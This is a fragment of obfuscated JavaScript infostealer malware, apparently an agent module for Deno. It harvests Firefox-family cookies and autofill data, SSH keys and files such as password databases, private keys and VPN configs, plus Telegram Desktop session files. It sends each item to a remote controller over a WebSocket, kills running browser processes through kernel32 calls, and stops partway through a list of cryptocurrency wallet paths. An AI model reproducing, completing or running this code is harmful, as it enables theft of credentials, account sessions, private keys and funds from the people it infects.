"wit", "Jjb", "pop", "lve", "dul", "up\n", "tig", "\nkn", "-Wi", "hTh", "t..", "nId", "pul", "Ntb", "DRI", "raf", "tat", ", n", "Dll", "ill", "ken", "chk", "ALS", "too", "mag", "sqa", "e64", "gle", "hla", "eV2", "hbX", "es\n", "mnk", "nig", "tar", "oad", "sit", "DLL", "olo", "mov", "con", "Dep", "n\ng", "AiL", "RNA", "2: ", "mit", "phn", "d.t", "ces", " tr", "\\ex", "Spl", "oed", "h,\n", "r e", "ch\n", "iio", "dpn", "Has", "odi", "boo", "cm8", "@db", "Mal", "d h", "e t", "oFo", "t\no", "ede", "roy", "se.", "ude", "\nth", "l\ns", "aps", "lou", "rd\n", "ert", "lic", "202", "upi", " no", "rum", "cha", "ts\\", "4hmknAu", "rei", "knc", "eSi", "ocm", "emi", "fou", "VER", " ma", "e l", "ays", "ago", "bhd", "xpo", "l\nc", "\nwo", "teS", "ltI", "WSE", "mnd", "es_", "clu", "ald", "s\nf", "goe", "res", "rpr", "na\n", ".te", "fnl", "ads", "mcm", "les", "Pip", "pam", "Cry", "foa", "d t", "isD", "t\ni", "thl", "h#d", "y\nk", "EOS", "nse", "equ", "pfg", "ow ", "dri", "t b", "g c", "eld", "hes", "is.", "dBy", "her", "PIP", "ERN", "al\n", "r\np", "afm", "h >", "tun", "tri", "u64", "leS", "Coc", "fes", "rbl", "cod", "kbj", "rra", "MTk", "l-c", "uty", "[Gr", ")\\E", "- C", "tZS", "ave", "lud", "Int", "lim", "e P", "[Wa", "hnf", "sic", "zed", "of ", "HOM", "enj", "g p", "unv", ", p", "cCI", "D N", "eep", "sMo", "rio", "rou", "wn\n", "at3", "YW1", "fun", "cim", "] F", "veS", "get", "mgj", "h p", " fr", "inv", "a d", "l\nt", "dfo", " ne", "i.e", "y-f", "n J", "gjf", "k\ns", ".ey", "xMa", "ref", "ist", "efi", "it ", "\ncl", "g\ns", "1126125gZpODj", "pal", "d\ns", "dI1", "haj", "umo", "ng ", "uto", "nor", "efe", "ttp", "str", "ise", "ppi", "Sel", "rac", "irt", "SOS", " by", "ifh", "Pin", "eag", "bun", "am\n", "dro", "paf", "sin", "sli", "nva", "tua", "\ngi", "h\np", "pe\n", "ira", "ciO", "lar", "gkj", "ab\n", "ntu", "Loc", "y\nh", "ts:", "\nca", "cam", "m\nq", "ous", "Glo", "ssT", "rib", "com", "\nug", " Er", "y\nb", "onl", "-ou", "lle", "iND", "ntL", "enu", "rin", "gha", "\npr", "hpm", "yra", "t-T", "n\nc", "Enc", "w\nr", "C:\\", "ddl", "Age", "ass", "i32", "lid", ".na", "low", "ryP", "ts]", "lac", "t8A", "h i", "ycl", "n/j", "wro", "tAc", "ssw", "d\na", "TmF", "Nil", "uce", "tim", " -P", "hri", "was", "eng", "Own", "ala", " Da", "see", "dom", "dde", "teP", "e\ne", "elm", "wal", "h e", "inW", "ism", " DL", "lb\n", "ngH", "sib", "mai", "\npo", "tch", "s=g", "op\n", "adj", "r b", "deS", "nng", "25m", "gen", "sPe", "swa", "let", "sto", "tiv", "iLC", "e-f", "ssi", "fjc", "le-", "ngt", "leY", "y\nt", "Nam", " ou", "hPr", "mnf", "\nse", "e, ", "iIs", "ure", "PPD", "bac", "hof", "tui", "TYP", "meo", "div", "pSt", "QlH", "spu", "al ", "lBu", "ipp", "tiq", "ock", "ckL", "hol", "mgk", "ve.", "ffm", "wom", "ach", "hdC", "hin", "odu", "imn", "d, ", "jel", "oth", "] A", "\nir", "Tre", "\naf", "f\no", "c t", "ax ", "\nzo", "fbn", "tex", "m\"n", "nea", "zil", "bui", "rke", "off", "ad_", "zin", "oso", "uri", "mji", "ntr", "ed,", "s\na", "kee", "k\nh", "sph", "bCI", "hou", "tor", "h\ns", "fnb", "\nme", "boi", "ges", "rch", "om ", "eyc", "\nin", "hen", "o\nt", "l\no", "etu", "eav", "Unk", "\nfo", "cin", "n m", "7st", "bmi", "rCo", " So", "mak", "oeb", "Cla", "e F", "Fre", "ht\n", "e. ", "_mo", "mip", "\nsy", "ton", "yTi", "g a", "Bra", "tur", "\nve", "idd", "\ngo", "ibn", "hos", "[Di", "CAL", ".cr", "usc", "rt\n", "spo", "r t", "...", "DPA", "ogr", "Tex", "upt", "ena", "YWl", "toi", "e\nt", "ehp", "ski", "orl", "k\np", "npr", "d a", "rev", "ool", "nti", "etw", "ger", "hyb", "er:", "ahk", "aof", "rta", "s 1", "Cre", "ync", "efa", "abu", ".en", "yIs", "nal", "bow", ") >", "nln", "DYx", "aoo", "mDa", "ljc", "bel", "bco", "wnl", "twi", "Des", "f\nl", "sky", "t\nv", "bwa", "e C", "omi", "tro", "r\ne", "2):", "g: ", "32]", "de\n", "nme", " nu", "Cis", "Tc2", "fpn", "] T", "dir", "me\n", "cer", "lse", "bro", "but", "uid", "Typ", "adB", "fi/", "ihf", "hab", "Mul", "me,", "lcd", "cap", "pKe", "rda", "roo", "n d", "oga", "fla", "Com", "ECT", " re", "seg", "e\nw", "tSy", "sfo", "9.1", "s\nt", "la\\", "Out", "maj", "lot", " ad", "n\nh", "n\nr", "cir", "[Ge", "s f", "ll\n", "Cro", "arC", "AsF", "be ", "g-j", "eam", "ep-", "-re", "y b", "cut", " \"/", "mp\n", "dMd", "1Mj", "g u", "D__", "\\Ep", "por", " pr", " ge", "Pri", "viv", "oo ", "th ", "emo", "pid", "439887OhQSrb", " (b", "for", "fbd", "geD", " En", "nMB", "ara", "lly", "VyT", "ex\n", "m\nr", "Med", "_da", "ero", " (s", "gho", "ige", "kU1", "rem", "yan", "aug", "jg3", "ikf", "vid", "hex", "elo", "Exc", "ove", "dit", "st ", "amf", "tNa", "kpf", "g r", "ge\n", "n\na", "abo", "a\nt", "oug", "ady", "ana", "cro", "enr", "t i", "sha", "Pan", "ren", "e\nj", "rad", "a f", "jYm", " De", " do", "et.", "sr.", "umn", " wi", "rys", "jew", "nit", "veT", "ary", "ine", "pch", "gcn", "rt ", "phh", "\nmy", "t o", " ex", "bcb", "fjm", "dU3", "wor", "mos", "elv", "nve", "Nex", "y s", "(?:", "eso", "{ex", "n\nn", "rn\n", "\nop", "nda", "\now", ": F", "\\Ya", "nze", "mbe", "big", "man", "ld\n", " un", "kgj", "n\nb", "lem", "tit", "Ins", "===", "ey\n", "[Ki", "ry ", "ggh", "sag", "dic", ", w", "ix.", "ds:", "wSt", " ", "iap", "ea\n", "ctE", "rIn", "fef", "cab", "hea", "add", "e\nf", "For", "6mT", "Iml", "eye", "spl", "jfk", "A6L", "s\\K", "m90", "day", "sna", "mej", "son", "t: ", "ia ", "ado", "\nco", "ceF", "/sh", "gla", "epc", "Ses", "\\Op", "col", "hro", "; H", "l e", "-of", "iJI", "] R", "hbG", "nR5", ", a", "i16", "ote", "t\nt", "x\nb", "hit", "oce", "gin", "hbk", "eit", "hec", "ATP", "nat", "Fou", "pgd", " to", "g\nf", "url", "\ntr", "t-d", "met", "scr", "lkI", "\nda", "ast", "sfu", "teB", "COU", "e U", "Eac", "fhb", "fo ", "len", "esc", "o\nb", "\\le", "e\no", ",\n ", "tru", "yNa", "um.", "l.e", "e\\U", "pjo", "tes", "ned", "lbo", "d f", "h\nw", "-ag", " wa", "fic", "jej", "lre", "ogm", "1c2", "ebo", "A%\\", " 'S", "x\nr", "r\nt", "one", "ecd", "aso", "nel", "eyJ", "gji", " Lo", "LOC", "y e", "Wai", "npu", "onW", " FR", "e (", "onf", "exe", "kjg", "cto", "e 4", "que", "bpm", "oto", "n c", "ION", "nma", "t f", "hAr", "kon", "VzI", "iro", "ed ", "mul", "k\nt", "rol", "r32", "eli", "eva", "zer", " Fo", "n_c", "fit", "s\nm", "Off", "cas", "d\nf", "oom", "kgn", "rid", "beb", "sed", "d w", "Ext", "JJZ", " cr", "k\nb", "ian", "ic ", ", s", "Met", "es:", "ay\n", "s\nc", "eal", "lpf", "nDe", "fih", "t\ng", "eet", "laz", "ame", "n\nt", "all", "buf", "cks", "any", " us", "ke\n", "obo", "lOn", "gae", " la", "pgr", "edP", "o__", "pil", "LCJ", "dpo", "s 7", "SOI", "wse", "id\n", " wr", "g f", " ha", "nd ", " pa", "ngr", "gth", "\\Us", "jpb", "cau", "dkk", "iqu", "is ", "mhn", "S v", "cli", "\ndy", "ad\n", "ck\n", "ct:", "isV", "w\ny", "hib", "abs", "mpt", "ric", " de", "Bro", "alc", "bra", "M c", "it\n", "djM", "glo", "\\El", "\nvo", "Vol", "Und", "oft", "3N2", "l\na", "k-m", "dod", "tFo", "era", "dle", "lk\n", " st", "ste", " le", "ire", "mio", "\\To", "w\ns", "\nde", "r p", "gre", "it(", " ho", " | ", "em\n", "a2:", "ge\\", "\nwa", "x86", "cia", "dI6", "OP:", "tpo", " ti", "seH", "ToF", "wri", "cpu", "nai", "Las", "lib", "enc", "or\n", "han", "yar", "nsf", "bik", "uY2", " an", "rPa", "mmo", "Pow", "anu", "ldr", "Par", "dos", "pha", "DIB", "Set", "Tes", "e\\A", "s\\N", "DB:", "act", "toa", "s\ni", "Pat", "at\n", "nDa", "esk", "ord", "hal", "urc", "aii", "thm", "igi", "wid", "0Gz", "deA", "/he", "s m", "tfo", "via", "mdc", "shW", "u32", "6Ik", "Vir", " Mo", "fgg", "Ope", "ge.", "rus", "mir", "flp", "our", "neg", "pWi", "ope", "ran", "\njo", "t c", "o\nz", "lue", "k\na"];
skillful = function () {
return _0x1ea2e2;
};
return skillful();
}
async function findProfiles2(_0x596e6d2, _0x489) {
const _0x22e4 = potato,
_0x564c2e4 = [];
try {
const _0x3aedbd3 = await import_node_fs4["promises"]["readdir"](_0x489, {
"withFileTypes": !![]
});
for (const _0x9d73d4 of _0x3aedbd3) {
if (_0x9d73d4["isDirectory"]()) {
const _0x491 = import_node_path4["default"]["join"](_0x489, _0x9d73d4["name"]);
try {
const _0x2827ff4 = await import_node_fs4["promises"]["readdir"](_0x491);
(_0x2827ff4["includes"]("cookies.sqlite") || _0x2827ff4["includes"]("places.sqlite")) && _0x564c2e4["push"](_0x491);
} catch {
continue;
}
}
}
} catch {}
return _0x564c2e4;
}
function extractCookies2(_0x48e40c3) {
const _0x127b3c2 = potato,
_0xd3c9e3 = [];
try {
const _0x434c2 = _0x48e40c3["prepare"]("\n SELECT \n host,\n name,\n path,\n value,\n expiry,\n isSecure\n FROM moz_cookies\n ")["all"]();
let _0x6229d4 = 0;
for (const _0x1372c3 of _0x434c2) {
const _0x444f7c10 = _0x1372c3;
if (!_0x444f7c10["host"] || !_0x444f7c10["name"] || !_0x444f7c10["path"] || !_0x444f7c10["value"]) {
_0x6229d4++;
continue;
}
_0xd3c9e3["push"]({
"host": _0x444f7c10["host"],
"name": _0x444f7c10["name"],
"value": _0x444f7c10["value"],
"path": _0x444f7c10["path"],
"expires": _0x444f7c10["expiry"] || 0,
"secure": Boolean(_0x444f7c10["isSecure"])
});
}
_0x6229d4 > 0 && console["log"]("[Gecko] Skipped " + _0x6229d4 + " cookies with null fields");
} catch (_0x49417c3) {
console["error"]("[Gecko] Error extracting cookies:", _0x49417c3);
}
return _0xd3c9e3;
}
function extractAutofills2(_0x1f0de2) {
const _0x3d8d = potato,
_0x2fdf3 = [];
try {
const _0x4f15 = _0x1f0de2["prepare"]("\n SELECT \n fieldname,\n value\n FROM moz_formhistory\n ")["all"]();
for (const _0xbd2 of _0x4f15) {
const _0x26db5a6 = _0xbd2;
if (!_0x26db5a6["fieldname"] || !_0x26db5a6["value"]) continue;
_0x2fdf3["push"]({
"fieldname": _0x26db5a6["fieldname"],
"value": _0x26db5a6["value"]
});
}
} catch (_0x539b2) {
console["error"]("[Gecko] Error extracting autofills:", _0x539b2);
}
return _0x2fdf3;
}
async function extractProfileData(_0xaf393d4, _0xb8bfd6, _0x498, _0x923a1c7) {
const _0x21f7c = potato,
_0x31538b6 = import_node_path4["default"]["basename"](_0x498),
_0x3b9ca5 = [],
_0x1a1 = [],
_0xa11 = import_node_path4["default"]["join"](_0x498, "cookies.sqlite");
try {
console["log"]("[Gecko] Opening cookies database: " + _0xa11);
const _0xb14b3 = new _0xaf393d4(_0xa11, {
"readonly": !![]
});
console["log"]("[Gecko] Database opened successfully");
const _0x497 = extractCookies2(_0xb14b3);
_0x3b9ca5["push"](..._0x497), _0xb14b3["close"](), console["log"]("[Gecko] Extracted " + _0x497["length"] + " cookies from " + _0xb8bfd6 + "/" + _0x31538b6);
} catch (_0x2b8fde3) {
console["error"]("[Gecko] Failed to extract cookies from " + _0xa11 + ":", _0x2b8fde3);
}
const _0x4b8eab4 = import_node_path4["default"]["join"](_0x498, "places.sqlite");
try {
const _0x1d791d4 = new _0xaf393d4(_0x4b8eab4, {
"readonly": !![]
}),
_0x91c82e4 = extractAutofills2(_0x1d791d4);
_0x1a1["push"](..._0x91c82e4), _0x1d791d4["close"](), console["log"]("[Gecko] Extracted " + _0x91c82e4["length"] + " autofills from " + _0xb8bfd6 + "/" + _0x31538b6);
} catch (_0x4e1) {
console["error"]("[Gecko] Failed to extract autofills from " + _0x4b8eab4 + ":", _0x4e1);
}
if (_0x923a1c7 && (_0x3b9ca5["length"] > 0 || _0x1a1["length"] > 0)) {
const _0x53a75b3 = {
"huidMd5": _0x923a1c7["huidMd5"],
"token": _0x923a1c7["token"],
"taskOutputs": [{
"id": _0x923a1c7["taskId"],
"type": "stealer-gecko",
"status": "completed",
"browser": _0xb8bfd6,
"profile": _0x31538b6,
"cookies": _0x3b9ca5,
"autofills": _0x1a1
}]
},
_0x500 = await serizalizeCommandFromAgent(_0x53a75b3);
try {
_0x923a1c7["ws"]["send"](_0x500);
} catch (_0x2858c2) {
console["error"]("[Gecko] Failed to send data: WebSocket error", _0x2858c2);
}
return {
"browser": _0xb8bfd6,
"profile": _0x31538b6,
"cookies": _0x3b9ca5,
"autofills": _0x1a1
};
}
return null;
}
async function grabGecko(_0x509) {
const _0x5213b = potato;
console["log"]("[Gecko] Starting Gecko browsers collection...");
try {
const _0x4979bc3 = ["https://jsr.io/@db/sqlite/0.13.0/mod.ts"]["join"](""),
{
Database: _0x336e1c3
} = await import(_0x4979bc3);
let _0x4c8ef3 = 0;
for (const _0x53e0ed6 of GECKO_BROWSERS) {
for (const _0x629def3 of _0x53e0ed6["paths"]) {
const _0x504 = expandPath3(_0x629def3),
_0x507 = await findProfiles2(_0x53e0ed6["name"], _0x504);
console["log"]("[Gecko] Found " + _0x507["length"] + " profiles for " + _0x53e0ed6["name"]);
for (const _0x510 of _0x507) {
try {
const _0x345bd2 = await extractProfileData(_0x336e1c3, _0x53e0ed6["name"], _0x510, _0x509);
_0x345bd2 && _0x4c8ef3++;
} catch (_0x1eba2) {
console["error"]("[Gecko] Error processing profile " + _0x510 + ":", _0x1eba2);
}
}
}
}
console["log"]("[Gecko] Collection completed. Processed " + _0x4c8ef3 + " profiles");
} catch (_0xdc17a3) {
console["error"]("[Gecko] Fatal error:", _0xdc17a3);
throw _0xdc17a3;
}
}
var import_node_buffer6 = require("node:buffer"),
import_node_fs5 = require("node:fs"),
import_node_path5 = __toESM(require("node:path")),
import_node_process6 = __toESM(require("node:process")),
MAX_TOTAL_SIZE_MB = 50,
MAX_DEPTH = 3,
PRIORITY_PATTERNS = ["*.kdbx", "*.key", "*.pem", "*.ppk", "*.p12", "*.pfx", "*.asc", "*.gpg", "id_rsa", "id_dsa", "id_ecdsa", "id_ed25519", "*.ovpn", "*.txt", "*.rdp"],
REGULAR_PATTERNS = [];
function matchesPattern(_0xc43ad2, _0x512) {
const _0x1e5c7e2 = potato,
_0x492b3e4 = _0xc43ad2["toLowerCase"]();
for (const _0x22e52f3 of _0x512) {
const _0x5e5 = _0x22e52f3["toLowerCase"]();
if (_0x5e5 === "*") return !![];
if (_0x5e5["startsWith"]("*.")) {
const _0x5804b2 = _0x5e5["slice"](1);
if (_0x492b3e4["endsWith"](_0x5804b2)) return !![];
} else {
if (_0x492b3e4 === _0x5e5) return !![];
}
}
return ![];
}
async function walkDir(_0x517, _0x3f306d4, _0x228b3 = 0) {
const _0x2824a = potato,
_0x1b25 = [];
if (_0x228b3 > _0x3f306d4) return _0x1b25;
try {
const _0x1fd6d2 = await import_node_fs5["promises"]["readdir"](_0x517, {
"withFileTypes": !![]
});
for (const _0x521 of _0x1fd6d2) {
const _0x522 = import_node_path5["default"]["join"](_0x517, _0x521["name"]);
try {
if (_0x521["isDirectory"]()) {
const _0x14a3d2 = await walkDir(_0x522, _0x3f306d4, _0x228b3 + 1);
_0x1b25["push"](..._0x14a3d2);
} else _0x521["isFile"]() && _0x1b25["push"](_0x522);
} catch {
continue;
}
}
} catch {}
return _0x1b25;
}
async function grabFiles(_0x3f7e6) {
const _0x21e1be3 = potato,
_0x2e3a9c6 = [],
_0x36b2ca6 = {
"value": 0
},
_0x211af3 = MAX_TOTAL_SIZE_MB * 1024 * 1024,
_0x13c4 = import_node_process6["default"]["env"]["USERNAME"] || import_node_process6["default"]["env"]["USER"] || "unknown",
_0xda6 = import_node_process6["default"]["env"]["USERPROFILE"] || import_node_process6["default"]["env"]["HOME"] || "";
if (!_0xda6) return console["log"]("[Grabber] Could not determine user profile directory"), _0x2e3a9c6;
const _0x502e4c5 = async (_0x1b965b3, _0x524, _0x43fded3) => {
const _0xb2 = _0x21e1be3,
_0x5dece2 = await walkDir(_0x1b965b3, _0x43fded3);
for (const _0x3ec9e5 of _0x5dece2) {
if (_0x36b2ca6["value"] >= _0x211af3) {
console["log"]("[Grabber] Size limit reached");
break;
}
const _0xbd5 = import_node_path5["default"]["basename"](_0x3ec9e5);
if (!matchesPattern(_0xbd5, _0x524)) continue;
try {
const _0xa13 = await import_node_fs5["promises"]["stat"](_0x3ec9e5),
_0x2e5f3e7 = _0xa13["size"];
if (_0x2e5f3e7 > 10 * 1024 * 1024) continue;
if (_0x36b2ca6["value"] + _0x2e5f3e7 > _0x211af3) {
console["log"]("[Grabber] Skipping file (would exceed size limit)");
continue;
}
const _0x32d6 = await import_node_fs5["promises"]["readFile"](_0x3ec9e5),
_0x20d3 = _0x3ec9e5;
let _0x255e4a7;
const _0x4115e3 = _0x20d3["indexOf"](_0x13c4);
if (_0x4115e3 !== -1) {
const _0x526 = _0x20d3["slice"](_0x4115e3 + _0x13c4["length"]);
_0x255e4a7 = _0x526["replace"](/^[\\\/]+/, "");
} else _0x255e4a7 = _0xbd5;
_0x36b2ca6["value"] += _0x2e5f3e7, _0x2e3a9c6["push"]({
"relPath": _0x255e4a7,
"data": new Uint8Array(_0x32d6)
}), console["log"]("[Grabber] Grabbed: " + _0x255e4a7 + " (" + _0x2e5f3e7 + " bytes)");
if (_0x3f7e6) {
const _0x2224a2 = {
"huidMd5": _0x3f7e6["huidMd5"],
"token": _0x3f7e6["token"],
"taskOutputs": [{
"id": _0x3f7e6["taskId"],
"type": "stealer-file-grabber",
"status": "completed",
"path": _0x255e4a7,
"data": import_node_buffer6["Buffer"]["from"](_0x32d6),
"size": _0x2e5f3e7
}]
},
_0x5f552a3 = await serizalizeCommandFromAgent(_0x2224a2);
try {
_0x3f7e6["ws"]["send"](_0x5f552a3);
} catch (_0x3166b2) {
console["error"]("[Grab] Failed to send data: WebSocket error", _0x3166b2);
}
}
} catch {
continue;
}
}
},
_0x39e4 = import_node_path5["default"]["join"](_0xda6, ".ssh");
try {
await import_node_fs5["promises"]["access"](_0x39e4), console["log"]("[Grabber] Searching SSH keys in " + _0x39e4), await _0x502e4c5(_0x39e4, ["*"], 1);
} catch {}
const _0x4186da5 = [];
for (const _0x4b69d4 of [import_node_path5["default"]["join"](_0xda6, "Documents"), import_node_path5["default"]["join"](_0xda6, "Desktop"), import_node_path5["default"]["join"](_0xda6, "Downloads")]) {
try {
await import_node_fs5["promises"]["access"](_0x4b69d4), _0x4186da5["push"](_0x4b69d4);
} catch {}
}
for (const _0x46c3 of _0x4186da5) {
console["log"]("[Grabber] Searching priority files in " + _0x46c3), await _0x502e4c5(_0x46c3, PRIORITY_PATTERNS, MAX_DEPTH);
}
for (const _0x2ee86f4 of _0x4186da5) {
console["log"]("[Grabber] Searching regular files in " + _0x2ee86f4), await _0x502e4c5(_0x2ee86f4, REGULAR_PATTERNS, MAX_DEPTH);
}
return console["log"]("[Grabber] Total files grabbed: " + _0x2e3a9c6["length"] + ", size: " + _0x36b2ca6["value"] + " bytes"), _0x2e3a9c6;
}
var import_node_buffer7 = require("node:buffer"),
import_node_fs6 = require("node:fs"),
import_node_path6 = __toESM(require("node:path")),
import_node_process7 = __toESM(require("node:process")),
MAX_FILE_SIZE = 6 * 1024 * 1024;
async function walkDir2(_0x429eb3, _0x347dde4, _0x12dd3 = 0) {
const _0x3c1b4b2 = potato,
_0x1ff36f6 = [];
if (_0x12dd3 > _0x347dde4) return _0x1ff36f6;
try {
const _0x1bcb2 = await import_node_fs6["promises"]["readdir"](_0x429eb3, {
"withFileTypes": !![]
});
for (const _0x18dc4 of _0x1bcb2) {
const _0x531 = import_node_path6["default"]["join"](_0x429eb3, _0x18dc4["name"]);
try {
if (_0x18dc4["isDirectory"]()) {
const _0x530 = await walkDir2(_0x531, _0x347dde4, _0x12dd3 + 1);
_0x1ff36f6["push"](..._0x530);
} else _0x18dc4["isFile"]() && _0x1ff36f6["push"](_0x531);
} catch {
continue;
}
}
} catch {}
return _0x1ff36f6;
}
async function grabTelegram(_0x12802f15) {
const _0x3790be2 = potato;
console["log"]("[Telegram] Starting telegram grabber...");
const _0x9ade0b9 = [],
_0x3303e3 = import_node_process7["default"]["env"]["APPDATA"];
if (!_0x3303e3) return console["log"]("[Telegram] APPDATA not found"), _0x9ade0b9;
const _0x5e849e6 = import_node_path6["default"]["join"](_0x3303e3, "Telegram Desktop"),
_0x1d6ec4 = import_node_path6["default"]["join"](_0x5e849e6, "tdata");
try {
await import_node_fs6["promises"]["access"](_0x1d6ec4);
} catch {
return console["log"]("[Telegram] Telegram Desktop not found"), _0x9ade0b9;
}
console["log"]("[Telegram] Found Telegram Desktop at " + _0x5e849e6);
const _0xc42aab3 = await walkDir2(_0x1d6ec4, 2);
for (const _0x155d1e6 of _0xc42aab3) {
const _0x3df3b3 = import_node_path6["default"]["basename"](_0x155d1e6);
try {
const _0x4961b2 = await import_node_fs6["promises"]["stat"](_0x155d1e6);
if (_0x4961b2["size"] >= MAX_FILE_SIZE) continue;
if (_0x3df3b3["length"] === 16) {
const _0x4a39b5 = await import_node_fs6["promises"]["readFile"](_0x155d1e6),
_0x533 = import_node_path6["default"]["relative"](_0x1d6ec4, _0x155d1e6)["replace"](/\\/g, "/"),
_0x2547ee4 = "tdata/" + _0x533;
_0x9ade0b9["push"]({
"relPath": _0x2547ee4,
"data": new Uint8Array(_0x4a39b5)
}), console["log"]("[Telegram] Added tdata file: " + _0x3df3b3);
if (_0x12802f15) {
const _0x546f2 = {
"huidMd5": _0x12802f15["huidMd5"],
"token": _0x12802f15["token"],
"taskOutputs": [{
"id": _0x12802f15["taskId"],
"type": "stealer-telegram",
"status": "completed",
"path": _0x2547ee4,
"data": import_node_buffer7["Buffer"]["from"](_0x4a39b5),
"size": _0x4a39b5["length"]
}]
},
_0x10dcd2 = await serizalizeCommandFromAgent(_0x546f2);
try {
_0x12802f15["ws"]["send"](_0x10dcd2);
} catch (_0x4d2) {
console["error"]("[Telegram] Failed to send data: WebSocket error", _0x4d2);
}
}
}
} catch {
continue;
}
}
const _0x276e2 = await walkDir2(_0x5e849e6, 3);
for (const _0x5dd7 of _0x276e2) {
const _0x56e9 = import_node_path6["default"]["basename"](_0x5dd7);
try {
const _0xa05d2 = await import_node_fs6["promises"]["stat"](_0x5dd7);
if (_0xa05d2["size"] >= MAX_FILE_SIZE) continue;
if (_0x56e9["endsWith"]("s") && _0x56e9["length"] === 17) {
const _0x3cd6f4 = await import_node_fs6["promises"]["readFile"](_0x5dd7),
_0x2927e3 = "tdata/" + _0x56e9;
_0x9ade0b9["push"]({
"relPath": _0x2927e3,
"data": new Uint8Array(_0x3cd6f4)
}), console["log"]("[Telegram] Added tdata/*s file: " + _0x56e9);
if (_0x12802f15) {
const _0x393d2 = {
"huidMd5": _0x12802f15["huidMd5"],
"token": _0x12802f15["token"],
"taskOutputs": [{
"id": _0x12802f15["taskId"],
"type": "stealer-telegram",
"status": "completed",
"path": _0x2927e3,
"data": import_node_buffer7["Buffer"]["from"](_0x3cd6f4),
"size": _0x3cd6f4["length"]
}]
},
_0x1e63a2 = await serizalizeCommandFromAgent(_0x393d2);
try {
_0x12802f15["ws"]["send"](_0x1e63a2);
} catch (_0x4841b2) {
console["error"]("[Telegram] Failed to send data: WebSocket error", _0x4841b2);
}
}
}
if (_0x56e9["startsWith"]("usertag") || _0x56e9["startsWith"]("settings") || _0x56e9["startsWith"]("key_data")) {
const _0x4f62c5 = await import_node_fs6["promises"]["readFile"](_0x5dd7),
_0x3d771a4 = import_node_path6["default"]["relative"](_0x5e849e6, _0x5dd7)["replace"](/\\/g, "/");
_0x9ade0b9["push"]({
"relPath": _0x3d771a4,
"data": new Uint8Array(_0x4f62c5)
}), console["log"]("[Telegram] Added file: " + _0x56e9);
if (_0x12802f15) {
const _0x21e5f3 = {
"huidMd5": _0x12802f15["huidMd5"],
"token": _0x12802f15["token"],
"taskOutputs": [{
"id": _0x12802f15["taskId"],
"type": "stealer-telegram",
"status": "completed",
"path": _0x3d771a4,
"data": import_node_buffer7["Buffer"]["from"](_0x4f62c5),
"size": _0x4f62c5["length"]
}]
},
_0xb8df7e3 = await serizalizeCommandFromAgent(_0x21e5f3);
try {
_0x12802f15["ws"]["send"](_0xb8df7e3);
} catch (_0x45561a3) {
console["error"]("[Telegram] Failed to send data: WebSocket error", _0x45561a3);
}
}
}
} catch {
continue;
}
}
return console["log"]("[Telegram] Collected " + _0x9ade0b9["length"] + " files"), _0x9ade0b9;
}
var PROCESS_TERMINATE = 1,
TH32CS_SNAPPROCESS = 2,
INVALID_HANDLE_VALUE = -1,
kernel326 = null;
function initFFI3() {
const _0x4d224b2 = potato;
if (kernel326) return;
try {
kernel326 = Deno["dlopen"]("kernel32.dll", {
"CreateToolhelp32Snapshot": {
"parameters": ["u32", "u32"],
"result": "pointer"
},
"Process32First": {
"parameters": ["pointer", "pointer"],
"result": "i32"
},
"Process32Next": {
"parameters": ["pointer", "pointer"],
"result": "i32"
},
"OpenProcess": {
"parameters": ["u32", "i32", "u32"],
"result": "pointer"
},
"TerminateProcess": {
"parameters": ["pointer", "u32"],
"result": "i32"
},
"CloseHandle": {
"parameters": ["pointer"],
"result": "i32"
}
});
} catch (_0x21c8b2) {
console["error"]("[KillBrowsers] Failed to initialize FFI:", _0x21c8b2);
}
}
async function killBrowsers() {
const _0x2d082f2 = potato;
console["log"]("[KillBrowsers] Starting browser process termination...");
!kernel326 && initFFI3();
if (!kernel326) {
console["error"]("[KillBrowsers] FFI not initialized");
return;
}
const _0x103f2 = ["chrome.exe", "msedge.exe", "brave.exe", "opera.exe", "opera_gx.exe", "vivaldi.exe", "browser.exe", "yandex.exe", "chromium.exe"];
for (let _0x536 = 0; _0x536 < 3; _0x536++) {
let _0x5a1 = ![];
try {
const _0x3e3c1e8 = kernel326["symbols"]["CreateToolhelp32Snapshot"](TH32CS_SNAPPROCESS, 0),
_0x21dc2 = Deno["UnsafePointer"]["value"](_0x3e3c1e8);
if (!_0x3e3c1e8 || _0x21dc2 === BigInt(INVALID_HANDLE_VALUE)) {
console["error"]("[KillBrowsers] Failed to create process snapshot");
return;
}
const _0x544 = new ArrayBuffer(568),
_0x145b4 = new DataView(_0x544),
_0x139b9e3 = new Uint8Array(_0x544);
_0x145b4["setUint32"](0, 568, !![]);
const _0x1d8 = kernel326["symbols"]["Process32First"](_0x3e3c1e8, Deno["UnsafePointer"]["of"](_0x544));
if (_0x1d8 === 0) {
kernel326["symbols"]["CloseHandle"](_0x3e3c1e8);
return;
}
let _0x37cc6c4 = !![];
while (_0x37cc6c4) {
const _0x543 = _0x145b4["getUint32"](8, !![]),
_0x11c71e4 = _0x139b9e3["slice"](44, 44 + 260),
_0x3d36fc4 = _0x11c71e4["indexOf"](0),
_0x543f3 = new TextDecoder()["decode"](_0x11c71e4["slice"](0, _0x3d36fc4 > 0 ? _0x3d36fc4 : 260))["toLowerCase"](),
_0x544eb3 = _0x103f2["some"](_0x4acc2 => _0x543f3 === _0x4acc2["toLowerCase"]());
if (_0x544eb3) {
const _0xf4f5 = kernel326["symbols"]["OpenProcess"](PROCESS_TERMINATE, 0, _0x543);
if (_0xf4f5 && Deno["UnsafePointer"]["value"](_0xf4f5) !== 0x0n) {
const _0x3bb85c3 = kernel326["symbols"]["TerminateProcess"](_0xf4f5, 1);
_0x3bb85c3 !== 0 && (console["log"]("[KillBrowsers] Terminated " + _0x543f3 + " (PID: " + _0x543 + ")"), _0x5a1 = !![]), kernel326["symbols"]["CloseHandle"](_0xf4f5);
}
}
_0x145b4["setUint32"](0, 568, !![]);
const _0x5a0 = kernel326["symbols"]["Process32Next"](_0x3e3c1e8, Deno["UnsafePointer"]["of"](_0x544));
_0x5a0 === 0 && (_0x37cc6c4 = ![]);
}
kernel326["symbols"]["CloseHandle"](_0x3e3c1e8);
} catch (_0x498a2) {
console["error"]("[KillBrowsers] Error:", _0x498a2);
}
if (_0x5a1) await new Promise(_0x4820f2 => setTimeout(_0x4820f2, 200));
else break;
}
console["log"]("[KillBrowsers] Browser termination completed");
}
var import_node_buffer8 = require("node:buffer"),
import_node_fs7 = require("node:fs"),
import_node_path7 = __toESM(require("node:path")),
import_node_process8 = __toESM(require("node:process")),
WALLET_PATHS = {
"AtomicWallet": "%APPDATA%\\atomic\\Local Storage\\leveldb\\",
"Exodus": "%APPDATA%\\exodus\\exodus.wallet\\",
